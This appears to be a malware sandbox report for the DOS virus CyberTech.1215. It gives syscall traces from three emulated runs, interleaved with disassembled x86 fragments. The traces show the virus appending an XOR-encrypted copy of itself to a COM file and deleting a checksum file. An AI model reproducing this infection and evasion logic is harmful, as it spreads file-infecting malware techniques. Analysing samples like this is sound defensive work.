Sample viewer

vx.netlux.org/Virus.DOS.CyberTech.1215

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:49:16.193583034Z 48 PC: 12a98 | Get DOS version
2018-12-17T22:49:16.195342429Z 42 PC: 12aa3 | Get date 0x12aa3: cmp cx, 0x7ca
0x12aa7: jae 0x12aac
0x12aa9: jmp 0x12b59
0x12aac: mov ah, 0x1a
0x12aae: mov dx, 0xfd00
0x12ab1: int 0x21
0x12ab3: mov ax, word ptr cs:[0x2c]
0x12ab7: mov ds, ax
0x12ab9: mov si, 0
0x12abc: mov cx, 0x4000
0x12abf: lodsb al, byte ptr [si]
0x12ac0: cmp al, 1
0x12ac2: je 0x12ac6
0x12ac4: loop 0x12abf
0x12ac6: inc si
0x12ac7: push cs
0x12ac8: pop es
0x12ac9: mov di, 0xfd80
0x12acc: mov cx, 0x80
0x12acf: lodsb al, byte ptr [si]
2018-12-17T22:49:16.198713654Z 26 PC: 12ab3 | Set disk transfer address
2018-12-17T22:49:16.20038821Z 67 PC: 12b01 | Get or set file attributes
2018-12-17T22:49:16.206933417Z 67 PC: 12b0e | Get or set file attributes
2018-12-17T22:49:16.24270729Z 61 PC: 12b13 | Open file (Filename = 'A:\TEST.COM')
2018-12-17T22:49:16.250755181Z 87 PC: 12b1a | Get or set file date and time
2018-12-17T22:49:16.253039653Z 62 PC: 12b20 | Close file
2018-12-17T22:49:16.256387283Z 60 PC: 12b29 | Create or truncate file
2018-12-17T22:49:16.270688733Z 64 PC: 12b38 | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:49:16.274730306Z 87 PC: 12b3f | Get or set file date and time
2018-12-17T22:49:16.276492738Z 62 PC: 12b43 | Close file
2018-12-17T22:49:16.294365949Z 67 PC: 12b4c | Get or set file attributes
2018-12-17T22:49:16.307110804Z 9 PC: 12b56 | Display string (Could not find end pointer)
2018-12-17T22:49:16.330177673Z 26 PC: 12d02 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9836,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:53.87548419Z 48 PC: 12a98 | Get DOS version
2018-12-25T12:23:53.877425675Z 42 PC: 12aa3 | Get date 0x12aa3: cmp cx, 0x7ca
0x12aa7: jae 0x12aac
0x12aa9: jmp 0x12b59
0x12aac: mov ah, 0x1a
0x12aae: mov dx, 0xfd00
0x12ab1: int 0x21
0x12ab3: mov ax, word ptr cs:[0x2c]
0x12ab7: mov ds, ax
0x12ab9: mov si, 0
0x12abc: mov cx, 0x4000
0x12abf: lodsb al, byte ptr [si]
0x12ac0: cmp al, 1
0x12ac2: je 0x12ac6
0x12ac4: loop 0x12abf
0x12ac6: inc si
0x12ac7: push cs
0x12ac8: pop es
0x12ac9: mov di, 0xfd80
0x12acc: mov cx, 0x80
0x12acf: lodsb al, byte ptr [si]
2018-12-25T12:23:53.879892921Z 26 PC: 12b60 | Set disk transfer address
2018-12-25T12:23:53.881207368Z 78 PC: 12b6a | Find first file
2018-12-25T12:23:53.887577102Z 67 PC: 12b77 | Get or set file attributes
2018-12-25T12:23:53.893641029Z 67 PC: 12b7f | Get or set file attributes
2018-12-25T12:23:53.910370478Z 61 PC: 12b84 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:23:53.922207007Z 87 PC: 12b8a | Get or set file date and time
2018-12-25T12:23:53.924507555Z 63 PC: 12b97 | Read file or device (Read 4 bytes on handle 5)
2018-12-25T12:23:53.93160526Z 66 PC: 12bbd | Move file pointer
2018-12-25T12:23:53.933159737Z 66 PC: 12c5c | Move file pointer
2018-12-25T12:23:53.935203955Z 63 PC: 12c66 | Read file or device (Read 52 bytes on handle 5)
2018-12-25T12:23:53.938243011Z 66 PC: 12bbd | Move file pointer (See above)
2018-12-25T12:23:53.940130591Z 44 PC: 12cb3 | Get time 0x12cb3: cmp dl, 0
0x12cb6: jne 0x12cc2
0x12cb8: mov ah, 9
0x12cba: lea dx, word ptr [bp + 0x464]
0x12cbe: int 0x21
0x12cc0: jmp 0x12caf
0x12cc2: mov byte ptr cs:[bp + 0x17], dl
0x12cc6: lea si, word ptr [bp + 4]
0x12cc9: mov di, 0xfb00
0x12ccc: mov cx, 0x17
0x12ccf: rep movsb byte ptr es:[di], byte ptr [si]
0x12cd1: lea si, word ptr [bp + 0x1b]
0x12cd4: mov cx, 0x4a8
0x12cd7: lodsb al, byte ptr [si]
0x12cd8: xor al, dl
0x12cda: stosb byte ptr es:[di], al
0x12cdb: loop 0x12cd7
0x12cdd: mov ah, 0x40
0x12cdf: mov dx, 0xfb00
0x12ce2: mov cx, 0x4bf
2018-12-25T12:23:53.943464369Z 64 PC: 12ce7 | Write file or device (Write 1215 bytes on handle 5)
2018-12-25T12:23:53.952973075Z 66 PC: 12bbd | Move file pointer (See above)
2018-12-25T12:23:53.954494575Z 64 PC: 12cf8 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:23:53.963066041Z 87 PC: 12d28 | Get or set file date and time
2018-12-25T12:23:53.965165404Z 62 PC: 12d2c | Close file
2018-12-25T12:23:53.975371939Z 67 PC: 12d35 | Get or set file attributes
2018-12-25T12:23:53.981262126Z 65 PC: 12d3d | Delete file (Filename = 'chklist.cps')
2018-12-25T12:23:53.988776045Z 26 PC: 12d02 | Set disk transfer address

{"DateBased":true,"Day":1,"Month":1,"Year":1995,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":9836,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:23:54.030096705Z 48 PC: 12a98 | Get DOS version
2018-12-25T12:23:54.031783178Z 42 PC: 12aa3 | Get date 0x12aa3: cmp cx, 0x7ca
0x12aa7: jae 0x12aac
0x12aa9: jmp 0x12b59
0x12aac: mov ah, 0x1a
0x12aae: mov dx, 0xfd00
0x12ab1: int 0x21
0x12ab3: mov ax, word ptr cs:[0x2c]
0x12ab7: mov ds, ax
0x12ab9: mov si, 0
0x12abc: mov cx, 0x4000
0x12abf: lodsb al, byte ptr [si]
0x12ac0: cmp al, 1
0x12ac2: je 0x12ac6
0x12ac4: loop 0x12abf
0x12ac6: inc si
0x12ac7: push cs
0x12ac8: pop es
0x12ac9: mov di, 0xfd80
0x12acc: mov cx, 0x80
0x12acf: lodsb al, byte ptr [si]
2018-12-25T12:23:54.035590968Z 26 PC: 12ab3 | Set disk transfer address
2018-12-25T12:23:54.037640753Z 67 PC: 12b01 | Get or set file attributes
2018-12-25T12:23:54.044424304Z 67 PC: 12b0e | Get or set file attributes
2018-12-25T12:23:54.061291158Z 61 PC: 12b13 | Open file (Filename = 'A:\TEST.COM')
2018-12-25T12:23:54.076704711Z 87 PC: 12b1a | Get or set file date and time
2018-12-25T12:23:54.07801321Z 62 PC: 12b20 | Close file
2018-12-25T12:23:54.08025911Z 60 PC: 12b29 | Create or truncate file
2018-12-25T12:23:54.096672547Z 64 PC: 12b38 | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:23:54.100379281Z 87 PC: 12b3f | Get or set file date and time
2018-12-25T12:23:54.101857549Z 62 PC: 12b43 | Close file
2018-12-25T12:23:54.111374335Z 67 PC: 12b4c | Get or set file attributes
2018-12-25T12:23:54.122143078Z 9 PC: 12b56 | Display string (Could not find end pointer)
2018-12-25T12:23:54.145646114Z 26 PC: 12d02 | Set disk transfer address